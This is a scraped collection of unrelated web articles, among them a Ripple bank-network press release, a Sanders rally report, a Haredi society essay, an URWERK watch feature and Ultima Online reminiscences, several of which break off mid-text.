Going into the upcoming Rugby Championship it’ll certainly be difficult to predict how South Africa and Australia will compete against the sensational All Blacks, as they undoubtedly looked like the best side in the world.
It makes for a fascinating prospect, especially when you throw Argentina into the mix. All in all, it’s a wonderful time to be a rugby fan, and we no doubt have plenty more great moments to come.
NZ vs Wales Highlights | Australia vs England Highlights | South Africa vs Ireland Highlights
Enjoy this emotive montage from the three big Tests from this past weekend
credit: rugbyrules/thomas |
Another group of global banks helps Ripple span the world. Image: Shutterstock
In 2015, when Ripple came out of the lab, we did more than rebrand as a company. We sharpened our focus and set our sights on our long-term goal: to interoperate the world’s banks and make cross-border payments truly efficient.
Since then, we’ve announced our progress toward that goal where banks moved beyond blockchain experimentation and into commercial production. Today, following our Series B funding announcement, we have more good news.
Ripple is proud to announce the addition of several more financial institutions to our growing network. Standard Chartered, National Australia Bank (NAB), Mizuho Financial Group (MHFG), BMO Financial Group, Siam Commercial Bank and Shanghai Huarui Bank are now among the global banks that have adopted Ripple’s settlement technology to improve their cross-border payments and offer their customers improved service.
Ripple adds new banks to growing global network. Tweet This
“2016 has proven to be the year where the most forward-thinking financial institutions are actually using blockchain technologies for payments and settlement rather than as an experiment,” said Ripple CEO and co-founder Chris Larsen. “The continued growth of the Ripple network represents a major endorsement of our open approach to connecting the world’s banks and their customers, and together we are building a modern payments system to enable new economic opportunities and the seamless flow of value around the world.”
Banks that join our growing network can take advantage of Ripple’s distributed financial technology, which can drastically reduce the time and cost of settlement and enable new types of high volume, low value global transactions for their customers. While the use cases vary from retail remittances to corporate disbursements, each of these financial institutions have successfully used Ripple to transfer real money payments, and all are working to implement the technology in commercial production.
Notably among them, Standard Chartered offers their corporate customers access to new types of interbank payment services across and even beyond its global network. Similarly, Shanghai Huarui Bank is using Ripple to launch a new commercial peer-to-peer remittance service to its growing retail customer base, so they can send money internationally in real-time and at a much lower cost.
Today’s news follows SBI Ripple Asia’s announcement from last month on the creation of a Japanese consortium of 15 banks that will use Ripple’s technology for payments and settlement. Our joint venture, SBI Ripple Asia, projects that the 15 inaugural members will increase the size of the consortium to 30 banks and that the new service will go live in spring of 2017.
Our customers are optimistic and enthusiastic about this seismic shift in payment and settlement technology.
“With over $155 trillion of cross-border payments being made between businesses annually, it is crucial that we continue to innovate to make international payments easier and faster not just for our clients but also for the future of the payments industry. As a leading international bank committed to facilitating trade, commerce and investments, this partnership will go a long way in progressing our digitization agenda to develop innovative solutions for our clients.”
—Gautam Jain, Global Head, Digitization and Client Access, Transaction Banking, Standard Chartered
We’re building on our already extensive network of customers, some of which we announced earlier this year. This list includes Santander, UniCredit, UBS, Royal Bank of Canada (RBC), ReiseBank, CIBC, National Bank of Abu Dhabi (NBAD), ATB Financial, Fidor Bank, and Westpac Banking Corporation, among others.
As the only provider of enterprise-grade distributed financial technology solutions, Ripple’s global network now includes 15 of the top 50 global banks, 10 banks in commercial deal phases, and over 30 banks that have completed pilots. This list includes other institutions currently using Ripple’s solutions, yet to be announced.
Our network is growing by leaps and bounds, but we’ve only just begun. Stay tuned for even more news from Sibos 2016. |
For many anti-Trump comedians and show creators, making fun of President Trump is almost seen as passé. In fact, for South Park creator Trey Parker, he wants to stop using his show to focus on Trump to make fun of him because everyone seems to be doing it.
In an interview with the Los Angeles Times promoting his role in the new film Despicable Me 3, Parker (along with his co-creator Matt Stone) felt that their show became a linchpin to the chorus of anti-Trump comedy circuit.
“We fell into the same trap that ‘Saturday Night Live’ fell into, where it was like, Dude, we’re just becoming CNN now. We’re becoming: ‘Tune in to see what we’re going to say about Trump.’ Matt and I hated it but we got stuck in it somehow,” Parker said.
“This season I want to get back to Cartman dressing up like a robot and [screwing] with Butters, because to me that’s the bread and butter of “South Park”: kids being kids and being ridiculous and outrageous but not “did you see what Trump did last night?” Because I don’t give a … anymore.”
It’s not the first time that Parker has expressed this sentiment. When speaking to Bill Simmons of The Ringer, both Parker and Stone assumed Hillary Clinton would win, so they did a whole season story arc surrounding how girls have been slighted. And, of course, Trump’s historic upset completely changed all that.
“We were heading down this whole path [with] this big boy-girl war going on, and everyone thinks, ‘OK well hooray, Hillary’s gonna be president.’ And that means that Bill Clinton is the first gentleman.” Parker explained. “That to us was the most ironic, coolest thing to focus on. ‘OK, there you go, you win, he’s officially the first gentleman, how do you feel, girls?’ And that’s where the whole season was going and that’s what really got torn apart. [Mr.] Garrison [who portrayed Trump] was supposed to come back and just start teaching again and all this stuff and we were now just locked in to this other [timeline].”
For some who are looking to get away from politics, it’s nice to know that at least one comedy show is planning to provide an escape that focuses on making fun of everything again, rather than just the man sitting in the Oval Office.
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The Buick Grand National is one of the mythic beasts of the car world. With a turbocharged V6 and the blackest of black paint, it is the Darth Vader of the roads and has established a fanatical cult following.
This December, an independent documentary about the car called Black Air will be released. Get your first tire shredding look at it here and then jump below to ask director Andrew Filippone Jr. all your questions about the film.
The Grand National was the muscle car of the 80s. It was intimidating, it was fast, and it was black. For a factory built hot rod, Buick really got it right. Hell, it was the fastest accelerating production car in America. It got from 0 to 60 in 4.7 seconds, which is fast by modern standards.
Black Air will premiere on December 11, 2012, exactly 25 years to the day that the last Grand National rolled off of Buick's assembly line.
With the film, Filippone is looking to answer the questions everyone has about the cars: Where did it come from? Where did it fit? And now, two decades after its passing, what is its legacy?
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Check out the trailer below and jump in Kinja to get some of the straight dirt from Filippone before the premiere in December.
Andrew had to run, big thanks to him for taking so many questions! Now get out there and see the movie in December! |
Sen. Bernie Sanders fired up big crowds in St. Paul and Duluth on Tuesday, trying to keep momentum building for his surging Democratic campaign just days from when the first votes of the presidential race are cast.
More than 14,000 people came to St. Paul’s RiverCentre — a third of them in an overflow crowd — for the Vermont senator’s evening speech, and earlier, about 6,000 people packed his afternoon rally at the Duluth Entertainment Convention Center.
In both cities, Sanders spoke in typically fiery fashion on his themes of reducing income inequality, breaking the influence of big money in politics and reforming the criminal justice system.
“You, and millions of other people, need to come together,” Sanders said in Duluth, adding that what he advocates is no less than a political revolution. “You need to say loud and clear that when so many men and women fought and died to save our country, that we the people are going to have a government that represents us, not just a handful of billionaires.”
In St. Paul, he said that no president “can effectively address the crisis facing our country unless there is a political revolution.” The crowd cheered when he attacked the campaign finance system as corrupt and the criminal justice system as broken, and booed when he singled out Wal-Mart for not paying its workers enough and railed against Wall Street, corporate America, the corporate media and the Koch brothers.
“Today in America, we have a rigged economy,” Sanders said. “People are sick and tired of working long hours for lower wages.” He vowed to make paid family medical leave and a $15 minimum wage a reality.
“Some kid in Minneapolis gets arrested for selling marijuana, that kid gets a police record,” he said, as the crowd booed. But a Wall Street executive whose behavior brought the economy into the worst recession since the 1930s gets nothing, he continued, adding, “...Wall Street’s greed is destroying our economy.”
One of the loudest cheers came for Sanders’ call for “major reform in the way police departments function.” While saying that he believes most police officers act responsibly, he said it was not acceptable to see unarmed people, particularly Latinos and African-Americans, “killed in cold blood.”
“When a police officer breaks the law, that officer must be held accountable,” he said.
Shannon Chapa, 39, said she was skeptical of him at first, but “I think he really listens to those of us who aren’t the 1 percent.”
Ken Brown, 72, came from Menomonie, Wis., to see Sanders. “Hillary [Clinton] hasn’t got enough strength to withstand the competition,” he said.
Waiting for Sanders, who spoke first to the overflow crowd, they heard from Farhiya Ali, a Hamline University student, and U.S. Rep. Keith Ellison, D-Minn. Ali drew cheers when she called for addressing institutional racism and the way cities are policed — and when she made a dig at Republican candidate Donald Trump by saying Sanders would bring change “rather than scapegoating Latinos or Muslims.”
Rising influence
Initially viewed as a long shot due to his quirky style and self-professed socialism, Sanders, 74, has recently risen to near equal or even ahead of Clinton in a handful of polls of Democratic voters. The biggest test of his underdog bid comes Monday, when Iowans gather for their first-in-the-nation caucuses.
Sanders started Tuesday in Des Moines at a rally with a United Steelworkers local that’s backing his bid. How he fares in Iowa will go a long way in determining whether he can keep up a fight against Clinton. Sanders told reporters at the Des Moines event that big turnout is key to his success.
Minnesota holds its own caucuses on March 1. A Star Tribune Minnesota Poll last week showed Clinton leading Sanders 59 percent to 25 percent among Democratic-leaning voters in the state. Sanders would beat Republican Donald Trump in a head-to-head matchup, the poll found. Sanders drew his strongest support in Minneapolis and St. Paul, but he also beat Trump in outstate Minnesota.
The Washington Post reported Tuesday that Sanders would hold a private meeting Wednesday with President Obama in the Oval Office. No agenda was announced, but it comes on the heels of Obama recently praising Clinton. The president has stressed, however, that he intends to remain neutral in the race for the Democratic nomination.
Resonating with the young
The size of the crowds showed how Sanders’ populist, anti-establishment message is resonating. The crowds were particularly well-stocked with young people.
“He has the people’s best interests in mind and his heart is in the right place,” said Paige Melius, a 23-year-old environmental sciences major at the University of Minnesota Duluth at the afternoon rally. Asked if she’d vote for Clinton should she become the Democratic nominee, Melius said she’d be more inclined to write in Sanders.
In his Duluth speech, Sanders ripped into perceptions that Clinton would be a better candidate for Democrats. He also said: “There’s nothing more in this life that I would look forward to than running against Donald Trump.”
Staff writer J. Patrick Coolican in Des Moines contributed to this story.
maya.rao@startribune.com 612-673-4210
patrick.condon@startribune.com 651-925-5049 |
It's at this time of the year that generous, big-hearted Americans reach out to aid the less fortunate among us -- like those who've recently been knocked down by the recession and seen their incomes plummet. I speak, of course, about our nation's severely squeezed millionaires.
Yes, many in the infamous 1 percent class are no longer feeling like a million bucks. According to a new federal report, the income of these high-living swells averaged a robust $1.4 million in 2007, but after Wall Street crashed in a heap of greed late that year, their average income took a tumble. In 2009, it fell below the millionaire threshold, leaving these poor rich folks struggling to make it on an average income of only $957,000.
Also, talk about getting a lump of coal in your Christmas stocking, the share of our nation's total income taken by the 1-percenters fell from a whopping 23 percent in 2007 (the highest since the Roaring Twenties) to a mere 17 percent in 2009. How sad for them, huh?
The only balm for their little financial ouchie is they are using the slight setback to rebuke the 99-percenters of the Occupy Wall Street protests. See, say the rich, waving the federal report, our slice of the pie in 2009 was the smallest it's been in a decade, so your protest about inequality is out of date. "Get a time machine," one front man for the Koch brothers barked at the Occupy movement.
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OK, but let's travel back only a few short years in time to 1980, when the top 1 percent was very happy to pocket a meager 10 percent of all of America's income. And, by the way, today's 1-percenters have had big income gains since 2009, while the 99 percent have lost income. So the Occupiers are right -- the inequality is increasing -- yet, shamefully, those who're back making a killing want America's hard-hit majority to feel sorry for them!
The 1-percenters and the politicos who serve them are modern-day scrooges, oblivious to the hardships of others. "Humbug," they mutter, expecting downsized workers to be like Bob Cratchit -- grateful to be given an extra piece of coal for the fire in Ebenezer's cold workspace. As you recall, Scrooge was a nasty old miser, but even he came to see the soul-destroying evil of his ways and found redemption in the end. One wonders, though -- is there any hope for the Scrooges of Washington?
Congressional Republicans continue to protect nonsensical tax breaks for Wall Street billionaires and Big Oil, while demanding that programs to aid America's growing number of poor people either be slashed or eliminated. The Obama White House is fighting most of this absurdity, but it keeps trying to appease the GOP by offering to sacrifice programs that ordinary people really need. For example, LIHEAP.
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Much of the country doesn't know what that is, but people who go through the long, bitterly cold winters in the Northeast know that LIHEAP literally is a lifeline for the thousands of poor families there. It's the Low Income Home Energy Assistance Program, which helps the poor afford the steadily rising price being charged for the heating oil that Northeastern states rely on. Home heating oil in Maine is presently running $3.66 a gallon, up from $2.87 a year ago.
Yet, in a concession to GOP leaders, Obama has proposed whacking LIHEAP's funding so severely that average benefits this winter would fall from about $800 per home to just over $300. That's not just throwing a program's budget into the Republican shredder, it's throwing people into it! In Bangor, Maine, where the average January low is only 7 degrees above zero, the slashed benefits will buy only about 100 gallons of fuel for the typical low-income home. It takes 850 gallons for those homes to stay heated through the winter season.
Rather than literally tossing the poor into the cold, how about cutting off all heat to the White House and Capitol? Let those Scrooges feel the sting of their budgetary miserliness, and maybe they'd seek a bit of redemption from those they're hurting. |
Reading the Israeli headlines lately, one can see why many American Jews are convinced that ultra-Orthodox extremism is getting worse. On Monday, the Haredi (ultra-Orthodox) parties got the coalition to pass legislation barring non-Orthodox converts from using state-run ritual baths for their conversions; earlier this month, the Haredi-dominated rabbinical courts refused to recognize conversions by an esteemed American Orthodox rabbi, Haskel Lookstein; and for months now, the Haredi parties have blocked implementation of Natan Sharansky’s sensible compromise on non-Orthodox worship at the Western Wall. Yet to look only at these headlines is to miss a crucial part of the story: Younger Haredim, while remaining passionately committed to Orthodox Judaism, are increasingly rejecting their rabbinic leadership’s hardline positions on numerous issues, including work, army service, academic study, and communal isolation.
Let’s start with work. Officially, the rabbinic leadership still holds that men should study Torah full-time. But the proportion of Haredi men entering the workforce is rising steadily, and last year, it exceeded 50 percent for the first time since Israel started tracking the data. It’s now 51.2 percent, and the government hopes to raise it to 63 percent by 2020.
As for Haredi women, anyone who thinks they’re confined to the kitchen is way behind the times. Last year, 73.1 percent of Haredi women worked, up from 61.5 percent just five years earlier; that’s already far above the government’s target of 63 percent by 2020. And since the Haredi community can’t provide enough jobs for all these women, they are increasingly integrated into the broader economy, including high-tech. This obviously entails more contact with non-Haredim.
New attitudes toward work are also influencing a new generation of Haredi politicians. Today’s Haaretz has a fascinating profile of Yisrael Porush, the 36-year-old mayor of the Haredi city of Elad, whose father and grandfather were prominent Knesset members and deputy ministers. The elder Porushes focused on traditional Haredi concerns. But the young mayor has a different goal: In the words of reporter Meirav Arlosoroff, it’s “for as many of the city’s residents as possible to work.” To this end, he has not only brought business ventures like a software development center into town, but has negotiated agreements with two neighboring local governments–a secular Jewish one and an Arab one–to create joint industrial parks.
On education, the change is equally dramatic. Not only did the number of Haredim in college jump by 83 percent, to 11,000, from 2011-2015, but attitudes toward secular studies in high schools are also changing.
You wouldn’t guess this by looking at the older generation of politicians: On Sunday, at the Haredi parties’ behest, the coalition agreed to repeal a law imposing financial penalties on Haredi schools that don’t teach the core curriculum.
But the next day, the Jerusalem Post quoted a new survey which found that 83 percent of Haredi parents would like their sons to attend high schools that teach secular subjects alongside religious ones, as Haredi girls’ schools already do. Another 10 percent would consider this option. Moreover, the article noted, the number of Haredi boys attending yeshiva high schools, which prepare students for the secular matriculation exams, has doubled since 2005. Though the number remains tiny (1,400 enrollees last year), the survey results indicate that this may be due less to lack of demand than to lack of supply: Today, just over a dozen such schools exist.
The survey also lends credence to Education Minister Naftali Bennett’s claim that coercive legislation isn’t necessary to solve the secular studies problem. Helping other such schools get started, instead of putting obstacles in their way, might be equally if not more effective.
On army service, too, change is apparent. In 2014, 2,280 Haredim enlisted – about one-third the number that would have enlisted if all Haredi men joined the army at 18. And in some places, the numbers are higher: In Porush’s Elad, about 40 percent of men do army service.
Moreover, the stigma against army service is rapidly crumbling. As Rachel Levmore, a member of the government panel that appoints rabbinical court judges, noted recently, until this month, Israel’s highest rabbinical court had never included a judge who served in the army. But following this month’s round of appointments, fully half its judges are now veterans, including two Sephardi Haredim and one Ashkenazi Haredi. The latter is particularly noteworthy because army service is much less common among Ashkenazi Haredim.
As Levmore wrote, these appointments send an important message: Army service no longer disqualifies Haredim for prominent rabbinical positions. Today, you can serve and still be appointed to the Supreme Rabbinical Court, with the unanimous approval of a panel that includes the Haredi chief rabbis and a Haredi Knesset member.
Admittedly, these changes in Haredi society won’t lead to changes in attitude at the top anytime soon. The leading Haredi rabbis are in their nineties, and their replacements will be men of similar age. In other words, they are products of a very different world – one where the Holocaust had wiped out most of European Jewry, where Israel’s army and school system actively sought to create “new Jews” in the mold of the ruling secular elite, where rebuilding the Torah world was the overriding imperative, and where isolation from secular knowledge and secular society was deemed essential for achieving this goal. This is the worldview they imbibed in their formative years, and they won’t abandon it in their old age.
But younger Haredim grew up in a very different world–one where Torah study is flourishing, the religious population is growing, and state institutions from the army to the universities now welcome Haredim without trying to make them stop being Haredi. Consequently, this generation feels less threatened by the secular world; it’s confident of its ability to work, attend college and even do army service without losing its Haredi identity.
Bottom-up change is usually slower than the top-down version, but it also tends to be more lasting. And therefore, the headlines of recent months are misleading: Developments in Haredi society as a whole actually provide strong grounds for optimism. |
DO you have a stapler?
If you do, maybe it’s a little dusty in this age of PDFs. Or maybe it’s been missing for a while, after someone borrowed it and never brought it back. Or maybe you’ve affixed your name to your stapler with a piece of clear tape, so your co-workers know: you take this stapler, you die.
Even as data moves to computers and the cloud, staplers continue to help people keep it together. On the computer, we can file copies in folders and send messages to mailboxes. We can cut, copy and paste text and files. But which computer activity is similar to stapling? Sure, there’s the paper-clip icon that attaches documents to e-mail. But nothing, really, comes close to the satisfying ka-chunk of a stapler: it’s a sound that means work is getting done.
Paper receipts are supposed to be on their way out, but they continue to flutter their way through restaurants, stores and doctors’ offices. Staplers are there, attaching the receipt to the business card, the return receipt to the original receipt, the merchant copy to the bill, the receipt to the takeout bag.
If you have a stapler, the odds are fairly good that it was made by Swingline. Other companies, including Stanley-Bostitch, along with OfficeMax and Staples, also make staplers. But Swingline, now owned by Acco Brands, has long been the market leader. |
The CW’s ‘Supergirl’ was an emotional roller-coaster as well as full of action and character growth. Seeing some familiar faces return to the small screen was a refreshing surprise.
Concluding the Daxamite invasion storyline, Superman (Tyler Hoechlin) returned being a big help in the finale fight. His first appearance this season was in the first two episodes and left fans wanting to see him more. Because of the common threat to Earth, Lena Luthor (Katie McGrath) and Lillian Luthor (Brenda Strong) teamed up to try and create a weapon that would force the Daxamites off of Earth. At the same time, Supergirl (Melissa Benoist) challenged Rhea (Teri Hatcher) to Dakkam Ur, an ancient form of dual where the two would fight for Earth. J’onn J’onzz (David Harewood) also joined the fight along with the return of M’gann M’orzz (Sharon Leal) with White Martians to help.
Nothing good comes out of trusting Rhea to uphold the tradition. All she wanted was to take over Earth and turn it into New Daxam. Some of the best scenes going forward were ones that Mon-El (Chris Wood) and Superman (Hoechlin) shared as he accepted him as someone Kara was in love with. The heartwarming scenes were soon replaced by nothing but heroics and sadness. The weapon was deployed leaving all the Daxamites no choice but to leave or die. Mon-El was forced off the planet to survive, sharing a final and tearful scene with Kara as the two said their goodbyes. While the Earth is now safe, everyone around Kara is happy, except her as she is left with a broken heart.
What fans are left talking about is the final moments of the episode. Cat Grant (Calista Flockhart) now knows Kara’s secret, gives her some great advice, and hints at her return. The flashback scene of the destruction of Krypton and another pods leaves a lot of room for speculation. Nothing is yet confirmed other than it appears to be setting up for the villain coming in season three.
When it comes down to the season as a whole, it was a solid 22 episodes. The introduction of characters like Mon-El, Lena Luthor and M’gann M’orzz added a lot to the plot as well as progress character development of others. Lena Luthor was somewhat of an anti-hero throughout the whole season, never fully stepping into the good or evil side. What is left is to wonder whether she will follow in the steps of her brother Lex Luthor, a big enemy of Superman.
Perhaps the most significant character to be added was Mon-El, who came from a planet where tyranny and immoral rule was all it had. However over the course of the season, he was able to overcome who he used to be and grow into a hero. The romance with him and Kara was not something that overshadowed the plot in any way. Most of the time, the two shared scenes together that showed how much they cared for each other, but it didn’t take time away from the main focus of the episodes.
All in all, this episode was a great conclusion to the second season. The acting was really on point and portrayed the story and emotions very well. ‘Supergirl’ returns to The CW in October 2017.
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The Low Countries, with their openness to the great ocean and wealth of protected rivers and waterways inland, were ideal for trade, movement and consequent political development. The loess soil is dark and productive, even as the forests provided a natural defense. European antiquity was defined by the geographic hold of the Mediterranean, but as Rome lost its hinterlands, history moved north.
It is not only the division between north and south that bedevils Europe. In the fourth century, the Roman Empire split into western and eastern halves, with dueling capitals at Rome and Constantinople. Rome’s western empire gave way to Charlemagne’s kingdom and the Vatican: Western Europe, that is. The eastern empire, Byzantium, was populated mainly by Greek-speaking Orthodox Christians, and then by Muslims after the Ottoman capture of Constantinople in 1453.
The Carpathian Mountains, which run northeast of the former Yugoslavia and divide Romania into two parts, partly reinforced this boundary between Rome and Byzantium, and later between the prosperous Hapsburg Empire in Vienna and the poorer Turkish Empire in Constantinople. Greece is far more the child of Byzantine and Turkish despotism than of Periclean Athens.
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In antiquity Greece was the beneficiary of geography, the antechamber of the Near East — the place where the heartless systems of Egypt and Mesopotamia could be softened and humanized, leading to the invention of the West, so to speak. But in today’s Europe, Greece finds itself at the wrong, “orientalized” end of things. Yes, it is far more stable and prosperous than places like Bulgaria and Kosovo, but only because it was spared the ravages of Soviet-style communism.
To see just how much geography and old empires shape today’s Europe, look at how former Communist Eastern Europe has turned out: the countries in the north, heirs to Prussian and Hapsburg traditions — Poland, the Czech Republic and Hungary — have performed much better economically than the heirs to Byzantium and Ottoman Turkey: Romania, Bulgaria, Albania and Greece. And the parts of the former Yugoslavia that were under Hapsburg influence, Slovenia and Croatia, have surged ahead of their more Turkish neighbors, Serbia, Kosovo and Macedonia. The breakup of Yugoslavia in 1991, at least initially, mirrored the divisions between Rome and Byzantium.
The Greek debt crisis is the biggest challenge since those Yugoslav secessions to Europe’s attempt at overcoming its geographical and historical divisions. Whereas in the early decades of the cold war the European enterprise had to heal only the long-time rift between France and Germany, now it is a matter of Carolingian and Prussian Europe — Brussels and Berlin — incorporating the far-flung Mediterranean and Balkan peripheries.
And it is precisely because Europe, for the first time in history, faces no outside threat to its security that it may fall prey to the narcissism of its internal contradictions. That the European Union’s northern powers aren’t willing to bail Greece out entirely by themselves, but are relying on the International Monetary Fund to kick in up to $20 billion, shows that there are limits to how far they will go toward the dream of a unified supercontinent.
Still, just as geography has divided Europe, it also unites it. For example, a lowland corridor from the Atlantic to the Black Sea has allowed travelers for centuries to cross the length of Europe with speed and comfort, contributing to Europe’s cohesion and sense of itself. The Danube, as the Italian scholar Claudio Magris rhapsodizes, “draws German culture, with its dream of an Odyssey of the spirit, towards the east, mingling it with other cultures in countless hybrid metamorphoses.” Central Europe, cleft from the West during the cold war, is the continent’s universal joint: a fact that puts the responsibility for surmounting the politics of historical division squarely on the shoulders of a united Germany.
Germans should realize that Greece, with only 11 million people, nevertheless remains the ultimate register of Europe’s health. It is the only part of the Balkans accessible on several seaboards to the Mediterranean, is roughly equidistant from Brussels and Moscow, and is as close to Russia culturally as to Europe by virtue of its Eastern Orthodox Christianity. In a century that will likely see a resurgent Russia put pressure on Europe, especially on the former Soviet satellite states in the east, the state of politics in Athens will say much about the success or failure of the European project.
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The good news is that northern Europeans know this, and will not let Greece fail. Indeed, to let Greece drift politically eastward would forfeit any hope of a big and inclusive Europe — geographically, politically and culturally — in favor of a small and petty one, Charlemagne’s empire pretending to be Rome. |
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If order under $350 Shipping Charge will be calculated base on the actual shipping weight. All livestock orders are shipped via Next Day Air. If other shipping method is chosen we will modify the shipping method. Live Rock and Sand are ship using 2nd day service. Drygoods, Aquarium Supplies, and Reptile supplies are ship using ground service unless Specified. All livestock orders must be shipped overnight via UPS or FEDEX Priority Overnight to reduce transit time. Orders generally ship within 1-2 business shipping days. All LiveStock are shipped Wednesday and will be deliver Thursday Morning. You will receive a confirmation email with your tracking number when your order has shipped.Saturday delivery must be made by special request by email or phone. Saturday delivery is an extra $26 charge.In the interest of meeting your schedule, if 70% of your order is in stock, it will be shipped. Any missing items or substitutions will be marked on your order and your total will be adjusted accordingly. If you would prefer to be contacted if we are missing items, please let us know when placing your order in the comment field. However, this may delay your order. Due to the nature of our products, we cannot backorder live animals.If your shipping address is different from your credit card billing address, please make sure your card issuer has listed this shipping address as an "authorized" address. We verify all addresses with VISA, MasterCard, Discover and American Express.UPS generally requires a signature for delivery. You or someone authorized by you, must be present to sign for a shipment if you choose to have it delivered to your home or office.Under the following circumstances we WILL NOT be able to honor our warranty: |
One of my favorite watches of all times is the rather exceptional UR-CC1 from URWERK. A highly remarkable timepiece that remind of the dashboards of cool 1960’s cars. That’s at least part of the inspiration for URWERK’s UR-CC1.
Recently I came across a photo of an old Patek Philippe, that looks very much like the UR-CC1. After some more research it appears to be a prototype, created by the late Louis Cottier and it was called Cobra. That explains the “CC” in the name; Cottier and Cobra. And the grey gold and black gold versions of the UR-CC1 are nicknamed King Cobra and Black Cobra.
After a bit of a search (you gotto love the internet, because articles remain online for a looooong time, as where the paper version would have been recycled by now), I found an excellent article on Watchismo, giving much insight in the development of URWERK’s UR-CC1 and historical facts about Patek’s old prototype.
More then 60 years ago…
In 1958 two men, Gilbert Albert (who designed many ‘odd shaped’ watches for Patek) and Louis Cottier (the inventor of the worldtimer watches as we know them today!) came together to design something outrageous; the very first watch with a linear time display. This became nothing less then a technical headache of monumental proportions. In 1959 Louis Cottier applied for a patent and that was it; no news if they got ‘codename Cobra’ to work. The Patek Philippe Cobra found a place in the Patek Philippe museum in Geneva ever since.
Now fast forward in time to the year 2006…
URWERK or actually Martin Frei and Felix Baumgartner, had been thinking about a watch with a linear time display since the early days of URWERK. The idea was put aside, until 2006 when Felix saw Hitchcock’s movie ‘Birds’. A close-up in the movie shows the dashboard of an old Dodge with a linear speedometer. This revives the old idea, to develop a watch with a linear time display. During their research they stumble across the old Patek Philippe Cobra and this inspires them even more. After three years of research and one year of testing the URWERK UR-CC1 is released. “CC” stands for Cottier Cobra, a homage to the original inventor.
How it works
Lucky for us, Felix Baumgartner and Martin Frei were able to create a working watch with linear time display. The UR-CC1 indicates the time by means of jumping hours and retrograde minutes. Both the hour and minute indicator are rotating cylinders.
The cylinder that indicates the hours has 12 lines, each ‘an hour’ longer than the last against the linear scale of hours. This cylinder jumps to the next line at the end of each hour. The minute-indicating cylinder is the one with the finer lines.
So far, so good, however it isn’t as simple as it looks. Remember that the UR-CC1 is actually quite flat for such a complicated timepiece. Meaning that the normal movement with its gears have to transfer the power to rotating the long cylinders, which indicate hours and minutes.
The power is transferred by a so-called triple-cam (see image below). This triple-cam rotates once every 3 hours. At the side of the movement you can see a rack; this rack is fixed on the left end (of the image) and the other end moves up and down because of the small hook that is attached to the triple-cam.
The side that moves up and down (in the image: the right side of the rack) is equipped with teeth that mesh with and rotate the minute cylinder.
Are you still with me? Sure hope so… The cylinder with minute indications doesn’t make a full rotation; it rotates just 300 degrees and then it jumps back to the beginning within 1/10th of a second. This is all driven by the teeth at the end of the pivoting rack. After 1/3 rotation by the triple-cam, the rack drops, rotates the minute cylinder 300 degrees back to zero and at that moment another gear makes the hour cylinder rotates 1/12th of a rotation (i.e. 30 degrees) to indicate another hour.
I could explain more about the used materials, that ensure the necessary stiffness, lightness and lowest possible friction, but I’ll leave that to maybe a next story.
Oh, and there’s also the pneumatic shock-absorbing Rotor Fly Brake automatic winding system that minimizes rotor and mechanism wear and damage from shock and harsh movements! No worries… also for another time 🙂
For now… some photos! All the following photos are made by Ian Skellern.
And one last photo… what an incredible timepiece!
The price level of the UR-CC1 is north of 200,000 CHF. More information about the UR-CC1 and other URWERK timepieces can be found on the URWERK website.
PS. Soon more news about two unique pieces of the UR-CC1, stay tuned!
This article is written by Frank Geelen, executive editor for Monochrome Watches. |
This game is to this day my real golden year and a half of gaming. It was unlike anything else out there and for its age, it was truly most-expansive and complete kind of MMO RPG.
I started playing it in 2002 just when it was on the 3rd expansion and was probably the game’s all-time peak of quality. Half a year later the 4th one came out and the changes were drastic enough to make half the old community to quit.
This whole genre was a brand new experience for me and I capitalized on all its opportunities. You could have absolutely anything you could imagine in a game- houses, boats, mounts, plethora of crafting and combat skills and various hybrid combinations of the two, excellent dungeons and huge boss spawns, the list can go on and on. It was also one of the very few games that was skill point based rather than character levels, so you could virtually never ruin a character and could always rebuild it into anything else you wanted.
I started up a guild and we all had a pretty successful run over the year and a half that I played prior to moving on myself. Closer to my second half of playing UO I finally managed to organize a player-run town- several houses in the same area designed under the same guidelines and owned by a common group of players, which was one of the hardest feats to achieve in any game like this.
————————————————————————————————–
And so, this was the very beginning of my lovely guild. We held early meetings in one of the castles in the main city, Britain, Trammel.
Britain bank was the major social and commerce spot, always very crowded.
I even got lucky enough to catch the culminating official event for the 3rd expansion- Lord Blackthorn’s Revenge. We all collectively fought him and got to see the official iconic characters of the main story-
Past that I had a plethora of other adventures. At one point, tamers of my guild sold various mounts near the bank for very decent prices and made enough pocket change after a day. In fact, animal and monster taming system was extensive and fun. Some critters had pack stats, so the more you had with you, the more damage they did. You could train critters too and even bond them such that after they died, they would follow you as ghosts until you resurrected them. For early 2000s, what other game had even a portion of everything that UO offered?
The champion spawns were the meat of the game for the longest time and featured a final boss of bosses type as well. You would fight huge waves of monsters until the boss appeared, take him down, get a champ skull (that you needed to summon the final spawn) and lots of high-end items. The main sought items were skill point cap scrolls that allowed you to go past the standard 100 point cap, and they would come in increments of 5 until 120. Every character could have a grand total of 700 points, which typically entailed being Grandmaster in 7 skills or Legendary level (120) in any 5 and have a 6th supporting skill.
You would kill waves of monsters until the altar filled with skull candles and then the boss would finally spawn.
These typically took from 2 extremely skilled players to 10 or more depending on the spawn and its difficulty. Here is one of the power scrolls-
Here is how skill raising worked- per uses bases with certain time-caps until the next point could be earned, unless you really used the tits out of it.
You would typically set arrows up for skills you wanted raised and down for those you didn’t need. You could also lock skills at any desirable amount for some truly hybrid builds.
The last expansion that I played, The Age of Shadows, added a Sims-like ability to build completely custom houses instead of being stuck with stock designs. This opened up amazing heights for style and was the foundation of my player city.
Items could be stacked to create some really amazing mock-furnishings as well, so at one point I had a pool, a piano, and various other improv decor in my humble abode.
All in all, these were truly the best gaming days of my life thus far and I’m really glad that I can now share even if a tiny bit with the rest of you.
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MILLINOCKET – Baxter State Park has closed a popular trail that leads to the top of Mount Katahdin.
Park Director Jensen Bissell told WZON-AM that a rock slide this spring “obliterated” much of the Abol Trail. He said the area remains unstable, with the potential for more rocks tumbling down.
Additional Images 1997 Press Herald File Photo Hikers near the end of the Abol Trail during a climb up Mount Katahdin. The trail was mostly obliterated by a rock slide this spring.
The Abol Trail is the shortest and steepest trail to the summit with an elevation gain of nearly 4,000 feet. But it’s never been an easy trail because of loose stone and gravel.
Bissell says the trail will be closed for the season. He said park officials need time to examine the trail in detail and determine future options.
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The harsh spending cuts introduced by European governments to tackle their crippling debt problems have not only pitched the region into recession — they are also being partly blamed for outbreaks of diseases not normally seen in Europe and a spike in suicides, according to new research.
Since the crisis first struck in 2008, state-run welfare and health services across Europe have seen their budgets cut, medical treatments rationed and unpopular measures such as hospital user fees introduced.
